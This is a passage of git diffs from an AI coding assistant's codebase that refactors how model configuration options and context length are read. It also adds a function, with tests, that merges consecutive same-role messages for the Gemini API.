--git a/core/config/yaml/models.ts b/core/config/yaml/models.ts index 9e7a9ccdd..932e483c9 100644 --- a/core/config/yaml/models.ts +++ b/core/config/yaml/models.ts @@ -9,6 +9,38 @@ import { LLMClasses } from "../../llm/llms"; const AUTODETECT = "AUTODETECT"; +const ENV_STRING_KEYS = [ + "apiType", + "apiVersion", + "deployment", + "deploymentId", + "projectId", + "region", + "profile", + "accessKeyId", + "secretAccessKey", + "modelArn", + "aiGatewaySlug", + "accountId", +] as const; + +function applyEnvOptions( + options: LLMOptions, + env: Record, +): void { + if ( + "useLegacyCompletionsEndpoint" in env && + typeof env.useLegacyCompletionsEndpoint === "boolean" + ) { + options.useLegacyCompletionsEndpoint = env.useLegacyCompletionsEndpoint; + } + for (const key of ENV_STRING_KEYS) { + if (key in env && typeof env[key] === "string") { + (options as any)[key] = env[key]; + } + } +} + function getModelClass( model: ModelConfig, ): (typeof LLMClasses)[number] | undefined { @@ -49,9 +81,12 @@ async function modelConfigToBaseLLM({ config.requestOptions, ); + const contextLength = + model.contextLength ?? model.defaultCompletionOptions?.contextLength; + let options: LLMOptions = { ...rest, - contextLength: model.defaultCompletionOptions?.contextLength, + contextLength, completionOptions: { ...(model.defaultCompletionOptions ?? {}), model: model.model, @@ -85,14 +120,14 @@ async function modelConfigToBaseLLM({ // Model capabilities - need to be undefined if not found // To fallback to our autodetection - if (capabilities?.find((c) => c === "tool_use")) { + if (capabilities?.includes("tool_use")) { options.capabilities = { ...options.capabilities, tools: true, }; } - if (capabilities?.find((c) => c === "image_input")) { + if (capabilities?.includes("image_input")) { options.capabilities = { ...options.capabilities, uploadImage: true, @@ -110,48 +145,8 @@ async function modelConfigToBaseLLM({ // But we decided to move to nested `env` in YAML // Since types vary and we don't want to blindly spread env for now, // Each one is handled individually here - const env = model.env ?? {}; - if ( - "useLegacyCompletionsEndpoint" in env && - typeof env.useLegacyCompletionsEndpoint === "boolean" - ) { - options.useLegacyCompletionsEndpoint = env.useLegacyCompletionsEndpoint; - } - if ("apiType" in env && typeof env.apiType === "string") { - options.apiType = env.apiType; - } - if ("apiVersion" in env && typeof env.apiVersion === "string") { - options.apiVersion = env.apiVersion; - } - if ("deployment" in env && typeof env.deployment === "string") { - options.deployment = env.deployment; - } - if ("deploymentId" in env && typeof env.deploymentId === "string") { - options.deploymentId = env.deploymentId; - } - if ("projectId" in env && typeof env.projectId === "string") { - options.projectId = env.projectId; - } - if ("region" in env && typeof env.region === "string") { - options.region = env.region; - } - if ("profile" in env && typeof env.profile === "string") { - options.profile = env.profile; - } - if ("accessKeyId" in env && typeof env.accessKeyId === "string") { - options.accessKeyId = env.accessKeyId; - } - if ("secretAccessKey" in env && typeof env.secretAccessKey === "string") { - options.secretAccessKey = env.secretAccessKey; - } - if ("modelArn" in env && typeof env.modelArn === "string") { - options.modelArn = env.modelArn; - } - if ("aiGatewaySlug" in env && typeof env.aiGatewaySlug === "string") { - options.aiGatewaySlug = env.aiGatewaySlug; - } - if ("accountId" in env && typeof env.accountId === "string") { - options.accountId = env.accountId; + if (model.env) { + applyEnvOptions(options, model.env); } const llm = new cls(options); diff --git a/docs/customize/model-providers/more/cloudflare.mdx b/docs/customize/model-providers/more/cloudflare.mdx index 7182af581..7887ada8e 100644 --- a/docs/customize/model-providers/more/cloudflare.mdx +++ b/docs/customize/model-providers/more/cloudflare.mdx @@ -17,19 +17,19 @@ Cloudflare Workers AI can be used for both chat and tab autocompletion in Contin provider: cloudflare apiKey: model: "@cf/meta/llama-3-8b-instruct" - contextLength: 2400 defaultCompletionOptions: + contextLength: 2400 maxTokens: 500 roles: - chat env: - accountId: YOUR CLOUDFLARE ACCOUNT ID + accountId: YOUR CLOUDFLARE ACCOUNT ID - name: DeepSeek Coder 6.7b Instruct provider: cloudflare apiKey: model: "@hf/thebloke/deepseek-coder-6.7b-instruct-awq" - contextLength: 2400 defaultCompletionOptions: + contextLength: 2400 maxTokens: 500 roles: - chat diff --git a/docs/guides/ollama-guide.mdx b/docs/guides/ollama-guide.mdx index f734dec61..c5fdbdf9a 100644 --- a/docs/guides/ollama-guide.mdx +++ b/docs/guides/ollama-guide.mdx @@ -208,8 +208,8 @@ models: - name: Optimized DeepSeek provider: ollama model: deepseek-r1:32b - contextLength: 8192 # Adjust context window (default varies by model) - completionOptions: + defaultCompletionOptions: + contextLength: 8192 # Adjust context window (default varies by model) temperature: 0.7 # Controls randomness (0.0-1.0) top_p: 0.9 # Nucleus sampling threshold top_k: 40 # Top-k sampling diff --git a/gui/src/redux/slices/configSlice.ts b/gui/src/redux/slices/configSlice.ts index 202abbfbb..887566892 100644 --- a/gui/src/redux/slices/configSlice.ts +++ b/gui/src/redux/slices/configSlice.ts @@ -1,7 +1,7 @@ import { ConfigResult, ConfigValidationError } from "@continuedev/config-yaml"; import { createSlice, PayloadAction } from "@reduxjs/toolkit"; import { BrowserSerializedContinueConfig } from "core"; -import { DEFAULT_MAX_TOKENS } from "core/llm/constants"; +import { DEFAULT_CONTEXT_LENGTH } from "core/llm/constants"; export type ConfigState = { configError: ConfigValidationError[] | undefined; @@ -86,7 +86,7 @@ export const configSlice = createSlice({ selectSelectedChatModelContextLength: (state): number => { return ( state.config.selectedModelByRole.chat?.contextLength || - DEFAULT_MAX_TOKENS + DEFAULT_CONTEXT_LENGTH ); }, selectSelectedChatModel: (state) => { diff --git a/packages/config-yaml/src/schemas/models.ts b/packages/config-yaml/src/schemas/models.ts index 8d3555829..737f6c67f 100644 --- a/packages/config-yaml/src/schemas/models.ts +++ b/packages/config-yaml/src/schemas/models.ts @@ -180,6 +180,7 @@ const baseModelFields = { model: z.string(), apiKey: z.string().optional(), apiBase: z.string().optional(), + contextLength: z.number().optional(), maxStopWords: z.number().optional(), roles: modelRolesSchema.array().optional(), capabilities: modelCapabilitySchema.array().optional(), diff --git a/packages/config-yaml/src/validation.ts b/packages/config-yaml/src/validation.ts index 16f3a7c4e..54fe89ba9 100644 --- a/packages/config-yaml/src/validation.ts +++ b/packages/config-yaml/src/validation.ts @@ -58,18 +58,16 @@ export function validateConfigYaml( } } // Max tokens not too close to context length - if ( - model.defaultCompletionOptions?.contextLength && - model.defaultCompletionOptions?.maxTokens - ) { - const difference = - model.defaultCompletionOptions?.contextLength - - model.defaultCompletionOptions?.maxTokens; + const effectiveContextLength = + model.contextLength ?? model.defaultCompletionOptions?.contextLength; + const effectiveMaxTokens = model.defaultCompletionOptions?.maxTokens; + if (effectiveContextLength && effectiveMaxTokens) { + const difference = effectiveContextLength - effectiveMaxTokens; if (difference < 1000) { errors.push({ fatal: false, - message: `Model "${model.name}" has a contextLength of ${model.defaultCompletionOptions?.contextLength} and a maxTokens of ${model.defaultCompletionOptions?.maxTokens}. This leaves only ${difference} tokens for input context and will likely result in your inputs being truncated.`, + message: `Model "${model.name}" has a contextLength of ${effectiveContextLength} and a maxTokens of ${effectiveMaxTokens}. This leaves only ${difference} tokens for input context and will likely result in your inputs being truncated.`, }); } } From 1dca5bd11695da0d620326e0c318b424b15ce2c9 Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Wed, 25 Mar 2026 12:27:06 -0700 Subject: [PATCH 66/66] fix(gemini): merge consecutive same-role messages to fix ordering errors (#11805) * fix(gemini): merge consecutive same-role messages to fix ordering errors Gemini API requires strict role alternation between "user" and "model". When multiple tool responses (mapped to "user" role) appear consecutively, or when consecutive assistant messages exist, the alternation breaks causing: - "function call turn comes immediately after a user turn or after a function response turn" - "number of function response parts is equal to the number of function call parts" Fix: merge consecutive messages with the same role by combining their parts arrays, applied as a post-processing step after message conversion in both the core Gemini LLM and the openai-adapters Gemini API. Fixes #11047, fixes #9562 * chore: remove verbose comments * refactor: deduplicate mergeConsecutiveGeminiMessages into openai-adapters Export from openai-adapters gemini-types and import in core, removing the duplicate private method from both Gemini classes. * fix: resolve TS2345 by removing explicit nullable type annotation on contents * fix: keep mergeConsecutiveGeminiMessages in each package's own gemini-types The core test suite mocks @continuedev/openai-adapters entirely, which replaces the imported function with a no-op returning undefined. Define the function in both packages' gemini-types to avoid this coupling. --- core/llm/llms/Gemini.ts | 3 + core/llm/llms/gemini-types.ts | 24 ++++ .../openai-adapters/src/apis/Gemini.test.ts | 136 ++++++++++++++++++ packages/openai-adapters/src/apis/Gemini.ts | 9 +- .../openai-adapters/src/util/gemini-types.ts | 24 ++++ 5 files changed, 193 insertions(+), 3 deletions(-) create mode 100644 packages/openai-adapters/src/apis/Gemini.test.ts diff --git a/core/llm/llms/Gemini.ts b/core/llm/llms/Gemini.ts index 66766fbc8..fb080fb44 100644 --- a/core/llm/llms/Gemini.ts +++ b/core/llm/llms/Gemini.ts @@ -22,6 +22,7 @@ import { GeminiGenerationConfig, GeminiToolFunctionDeclaration, convertContinueToolToGeminiFunction, + mergeConsecutiveGeminiMessages, } from "./gemini-types"; interface GeminiToolCallDelta extends ToolCallDelta { @@ -326,6 +327,8 @@ class Gemini extends BaseLLM { }; }), }; + + body.contents = mergeConsecutiveGeminiMessages(body.contents); if (options) { body.generationConfig = this.convertArgs(options); } diff --git a/core/llm/llms/gemini-types.ts b/core/llm/llms/gemini-types.ts index f1944930b..8dde5a02f 100644 --- a/core/llm/llms/gemini-types.ts +++ b/core/llm/llms/gemini-types.ts @@ -424,3 +424,27 @@ interface LogprobsResult { interface TopCandidates { candidates: Candidate[]; } + +// Gemini requires strict user/model role alternation. +export function mergeConsecutiveGeminiMessages( + contents: GeminiChatContent[], +): GeminiChatContent[] { + if (contents.length === 0) { + return contents; + } + + const merged: GeminiChatContent[] = [contents[0]]; + + for (let i = 1; i < contents.length; i++) { + const current = contents[i]; + const previous = merged[merged.length - 1]; + + if (current.role === previous.role) { + previous.parts = [...previous.parts, ...current.parts]; + } else { + merged.push(current); + } + } + + return merged; +} diff --git a/packages/openai-adapters/src/apis/Gemini.test.ts b/packages/openai-adapters/src/apis/Gemini.test.ts new file mode 100644 index 000000000..3b47620bc --- /dev/null +++ b/packages/openai-adapters/src/apis/Gemini.test.ts @@ -0,0 +1,136 @@ +import { describe, expect, it } from "vitest"; + +import { GeminiApi } from "./Gemini.js"; + +describe("GeminiApi", () => { + const api = new GeminiApi({ + provider: "gemini", + apiKey: "test-key", + }); + + describe("_convertBody merges consecutive same-role messages", () => { + it("merges consecutive tool responses into a single user turn", () => { + const result = api._convertBody( + { + model: "gemini-2.5-flash", + messages: [ + { role: "user", content: "Use the tools" }, + { + role: "assistant", + content: null, + tool_calls: [ + { + id: "call_1", + type: "function" as const, + function: { name: "tool_a", arguments: "{}" }, + }, + { + id: "call_2", + type: "function" as const, + function: { name: "tool_b", arguments: "{}" }, + }, + ], + }, + { + role: "tool" as const, + content: "result_a", + tool_call_id: "call_1", + }, + { + role: "tool" as const, + content: "result_b", + tool_call_id: "call_2", + }, + ], + }, + false, + true, + ); + + // Should be: user, model(functionCalls), user(functionResponses merged) + expect(result.contents).toHaveLength(3); + expect(result.contents[0].role).toBe("user"); + expect(result.contents[1].role).toBe("model"); + expect(result.contents[2].role).toBe("user"); + // Both function responses merged into one user turn + expect(result.contents[2].parts).toHaveLength(2); + expect(result.contents[2].parts[0]).toHaveProperty("functionResponse"); + expect(result.contents[2].parts[1]).toHaveProperty("functionResponse"); + }); + + it("merges tool responses with following user message", () => { + const result = api._convertBody( + { + model: "gemini-2.5-flash", + messages: [ + { role: "user", content: "Use the tool" }, + { + role: "assistant", + content: null, + tool_calls: [ + { + id: "call_1", + type: "function" as const, + function: { name: "tool_a", arguments: "{}" }, + }, + ], + }, + { + role: "tool" as const, + content: "result_a", + tool_call_id: "call_1", + }, + { role: "user", content: "Now do something else" }, + ], + }, + false, + true, + ); + + // tool response (user) + user message should merge + expect(result.contents).toHaveLength(3); + expect(result.contents[2].role).toBe("user"); + expect(result.contents[2].parts).toHaveLength(2); + }); + + it("merges consecutive model messages", () => { + const result = api._convertBody( + { + model: "gemini-2.5-flash", + messages: [ + { role: "user", content: "Hello" }, + { role: "assistant", content: "First response" }, + { role: "assistant", content: "Second response" }, + ], + }, + false, + true, + ); + + // Two assistant messages should merge into one model message + expect(result.contents).toHaveLength(2); + expect(result.contents[1].role).toBe("model"); + expect(result.contents[1].parts).toHaveLength(2); + }); + + it("preserves already-alternating messages unchanged", () => { + const result = api._convertBody( + { + model: "gemini-2.5-flash", + messages: [ + { role: "user", content: "Hello" }, + { role: "assistant", content: "Hi there" }, + { role: "user", content: "How are you?" }, + ], + }, + false, + true, + ); + + expect(result.contents).toHaveLength(3); + expect(result.contents[0].role).toBe("user"); + expect(result.contents[1].role).toBe("model"); + expect(result.contents[2].role).toBe("user"); + }); + }); +}); diff --git a/packages/openai-adapters/src/apis/Gemini.ts b/packages/openai-adapters/src/apis/Gemini.ts index 87e2b398f..f72982678 100644 --- a/packages/openai-adapters/src/apis/Gemini.ts +++ b/packages/openai-adapters/src/apis/Gemini.ts @@ -32,6 +32,7 @@ import { GeminiChatContent, GeminiChatContentPart, GeminiToolFunctionDeclaration, + mergeConsecutiveGeminiMessages, } from "../util/gemini-types.js"; import { safeParseArgs } from "../util/parseArgs.js"; import { @@ -144,7 +145,7 @@ export class GeminiApi implements BaseLlmApi { } }); - const contents: (GeminiChatContent | null)[] = oaiBody.messages + const contents = oaiBody.messages .map((msg) => { if (msg.role === "system" && !isV1API) { return null; // Don't include system message in contents @@ -234,12 +235,14 @@ export class GeminiApi implements BaseLlmApi { : msg.content.map(this._oaiPartToGeminiPart), }; }) - .filter((c) => c !== null); + .filter((c) => c !== null) as GeminiChatContent[]; + + const mergedContents = mergeConsecutiveGeminiMessages(contents); const sysMsg = oaiBody.messages.find((msg) => msg.role === "system"); const finalBody: any = { generationConfig, - contents, + contents: mergedContents, // if there is a system message, reformat it for Gemini API ...(sysMsg && !isV1API && { diff --git a/packages/openai-adapters/src/util/gemini-types.ts b/packages/openai-adapters/src/util/gemini-types.ts index c161987ff..e4e3de92b 100644 --- a/packages/openai-adapters/src/util/gemini-types.ts +++ b/packages/openai-adapters/src/util/gemini-types.ts @@ -428,3 +428,27 @@ interface LogprobsResult { interface TopCandidates { candidates: Candidate[]; } + +// Gemini requires strict user/model role alternation. +export function mergeConsecutiveGeminiMessages( + contents: GeminiChatContent[], +): GeminiChatContent[] { + if (contents.length === 0) { + return contents; + } + + const merged: GeminiChatContent[] = [contents[0]]; + + for (let i = 1; i < contents.length; i++) { + const current = contents[i]; + const previous = merged[merged.length - 1]; + + if (current.role === previous.role) { + previous.parts = [...previous.parts, ...current.parts]; + } else { + merged.push(current); + } + } + + return merged; +}